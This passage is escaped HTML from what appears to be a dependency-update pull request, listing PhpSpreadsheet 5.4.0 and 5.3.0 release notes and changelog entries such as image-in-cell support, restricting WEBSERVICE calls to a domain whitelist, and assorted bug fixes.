href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4761\"\u003ePHPOffice/PhpSpreadsheet#4761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCode to merge cell base style with table and conditional styles moved from Html Writer to its own class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003e#1058\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003ePHPOffice/PhpSpreadsheet#1058\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4763\"\u003e#4763\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4763\"\u003ePHPOffice/PhpSpreadsheet#4763\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003cli\u003eReader/Html protected property dataArray, described as used only for testing, is not used for testing. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSlightly better support for escaped characters in Xlsx Reader/Writer. [Discussion \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4724\"\u003e#4724\u003c/a\u003e](\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\"\u003ehttps://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4726\"\u003e#4726\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4726\"\u003ePHPOffice/PhpSpreadsheet#4726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCODE/UNICODE and CHAR/UNICHAR. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4727\"\u003e#4727\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4727\"\u003ePHPOffice/PhpSpreadsheet#4727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor changes to TextGrid. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4735\"\u003e#4735\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4735\"\u003ePHPOffice/PhpSpreadsheet#4735\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSingle-character table names. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003e#4739\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003ePHPOffice/PhpSpreadsheet#4739\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4740\"\u003e#4740\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4740\"\u003ePHPOffice/PhpSpreadsheet#4740\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprovements to SORT and SORTBY. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCoverage-related changes in Shared. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4745\"\u003e#4745\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4745\"\u003ePHPOffice/PhpSpreadsheet#4745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eListWorksheetInfo improvements for Xlsx and Ods. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003e#3255\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003ePHPOffice/PhpSpreadsheet#3255\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4746\"\u003e#4746\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4746\"\u003ePHPOffice/PhpSpreadsheet#4746\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix functions related to Student-T distribution. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003e#4167\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003ePHPOffice/PhpSpreadsheet#4167\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4748\"\u003e#4748\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4748\"\u003ePHPOffice/PhpSpreadsheet#4748\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix drawing hyperlinks. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003e#993\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003ePHPOffice/PhpSpreadsheet#993\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4764\"\u003e#4764\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4764\"\u003ePHPOffice/PhpSpreadsheet#4764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix clone spreadsheet with defined names. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4753\"\u003e#4753\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4753\"\u003ePHPOffice/PhpSpreadsheet#4753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanges to WEBSERVICE. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore consistent handling of unsupported functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003e#606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003ePHPOffice/PhpSpreadsheet#606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4772\"\u003ePHPOffice/PhpSpreadsheet#4772\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChart shadow \u003ccode\u003ekx\u003c/code\u003e and \u003ccode\u003eky\u003c/code\u003e. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4770\"\u003e#4770\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4770\"\u003ePHPOffice/PhpSpreadsheet#4770\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSUBTOTAL and hidden rows. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003e#820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003ePHPOffice/PhpSpreadsheet#820\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4765\"\u003e#4765\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4765\"\u003ePHPOffice/PhpSpreadsheet#4765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix some hyperlink problems. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003e#3889\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003ePHPOffice/PhpSpreadsheet#3889\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003e#2464\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003ePHPOffice/PhpSpreadsheet#2464\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4771\"\u003e#4771\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4771\"\u003ePHPOffice/PhpSpreadsheet#4771\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Writer and empty RichText. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003e#918\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003ePHPOffice/PhpSpreadsheet#918\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4769\"\u003e#4769\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4769\"\u003ePHPOffice/PhpSpreadsheet#4769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStrings that look like huge floating-point numbers. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003e#4766\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003ePHPOffice/PhpSpreadsheet#4766\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4768\"\u003e#4768\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4768\"\u003ePHPOffice/PhpSpreadsheet#4768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRowspan in Html. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003e#1319\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003ePHPOffice/PhpSpreadsheet#1319\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4767\"\u003e#4767\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4767\"\u003ePHPOffice/PhpSpreadsheet#4767\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMpdf styling of multi-line strings. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003e#4773\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003ePHPOffice/PhpSpreadsheet#4773\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4775\"\u003ePHPOffice/PhpSpreadsheet#4775\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.3.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFormal support for Php8.5.\u003c/li\u003e\n\u003cli\u003eLimited Printarea support for Html/Pdf. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003e#3941\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003ePHPOffice/PhpSpreadsheet#3941\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4711\"\u003e#4711\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4711\"\u003ePHPOffice/PhpSpreadsheet#4711\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImplement missing \u003ccode\u003eINFO\u003c/code\u003e function. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4709\"\u003e#4709\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4709\"\u003ePHPOffice/PhpSpreadsheet#4709\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImplement missing \u003ccode\u003eBAHTTEXT\u003c/code\u003e function. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4715\"\u003e#4715\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4715\"\u003ePHPOffice/PhpSpreadsheet#4715\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-01-10 - 5.4.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStore image in cell (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003e#4014\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003ePHPOffice/PhpSpreadsheet#4014\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003e#4034\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003ePHPOffice/PhpSpreadsheet#4034\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003e#913\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003ePHPOffice/PhpSpreadsheet#913\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4677\"\u003e#4677\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4677\"\u003ePHPOffice/PhpSpreadsheet#4677\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePassthrough support (with some restrictions) for otherwise unsupported drawing elements. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003e#4037\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003ePHPOffice/PhpSpreadsheet#4037\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003e#4704\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003ePHPOffice/PhpSpreadsheet#4704\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4712\"\u003e#4712\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4712\"\u003ePHPOffice/PhpSpreadsheet#4712\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSet all locale variables at once in a threadsafe manner. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003e#954\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003ePHPOffice/PhpSpreadsheet#954\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4760\"\u003e#4760\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4760\"\u003ePHPOffice/PhpSpreadsheet#4760\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader/Html add ability to suppress warning messages from loadhtml. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003e#647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003ePHPOffice/PhpSpreadsheet#647\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003e#849\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003ePHPOffice/PhpSpreadsheet#849\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4761\"\u003e#4761\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4761\"\u003ePHPOffice/PhpSpreadsheet#4761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCode to merge cell base style with table and conditional styles moved from Html Writer to its own class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003e#1058\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003ePHPOffice/PhpSpreadsheet#1058\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4763\"\u003e#4763\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4763\"\u003ePHPOffice/PhpSpreadsheet#4763\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003cli\u003eReader/Html protected property dataArray, described as used only for testing, is not used for testing. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSlightly better support for escaped characters in Xlsx Reader/Writer. [Discussion \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4724\"\u003e#4724\u003c/a\u003e](\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\"\u003ehttps://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4726\"\u003e#4726\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4726\"\u003ePHPOffice/PhpSpreadsheet#4726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCODE/UNICODE and CHAR/UNICHAR. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4727\"\u003e#4727\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4727\"\u003ePHPOffice/PhpSpreadsheet#4727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor changes to TextGrid. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4735\"\u003e#4735\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4735\"\u003ePHPOffice/PhpSpreadsheet#4735\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSingle-character table names. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003e#4739\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003ePHPOffice/PhpSpreadsheet#4739\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4740\"\u003e#4740\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4740\"\u003ePHPOffice/PhpSpreadsheet#4740\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprovements to SORT and SORTBY. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCoverage-related changes in Shared. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4745\"\u003e#4745\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4745\"\u003ePHPOffice/PhpSpreadsheet#4745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eListWorksheetInfo improvements for Xlsx and Ods. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003e#3255\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003ePHPOffice/PhpSpreadsheet#3255\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4746\"\u003e#4746\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4746\"\u003ePHPOffice/PhpSpreadsheet#4746\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix functions related to Student-T distribution. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003e#4167\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003ePHPOffice/PhpSpreadsheet#4167\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4748\"\u003e#4748\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4748\"\u003ePHPOffice/PhpSpreadsheet#4748\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix drawing hyperlinks. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003e#993\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003ePHPOffice/PhpSpreadsheet#993\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4764\"\u003e#4764\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4764\"\u003ePHPOffice/PhpSpreadsheet#4764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix clone spreadsheet with defined names. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4753\"\u003e#4753\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4753\"\u003ePHPOffice/PhpSpreadsheet#4753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanges to WEBSERVICE. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore consistent handling of unsupported functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003e#606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003ePHPOffice/PhpSpreadsheet#606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4772\"\u003ePHPOffice/PhpSpreadsheet#4772\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChart shadow \u003ccode\u003ekx\u003c/code\u003e and \u003ccode\u003eky\u003c/code\u003e. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4770\"\u003e#4770\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4770\"\u003ePHPOffice/PhpSpreadsheet#4770\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSUBTOTAL and hidden rows. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003e#820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003ePHPOffice/PhpSpreadsheet#820\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4765\"\u003e#4765\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4765\"\u003ePHPOffice/PhpSpreadsheet#4765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix some hyperlink problems. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003e#3889\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003ePHPOffice/PhpSpreadsheet#3889\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003e#2464\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003ePHPOffice/PhpSpreadsheet#2464\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4771\"\u003e#4771\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4771\"\u003ePHPOffice/PhpSpreadsheet#4771\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Writer and empty RichText. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003e#918\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003ePHPOffice/PhpSpreadsheet#918\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4769\"\u003e#4769\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4769\"\u003ePHPOffice/PhpSpreadsheet#4769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStrings that look like huge floating-point numbers. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003e#4766\u003c/a\u003e](\u003ca 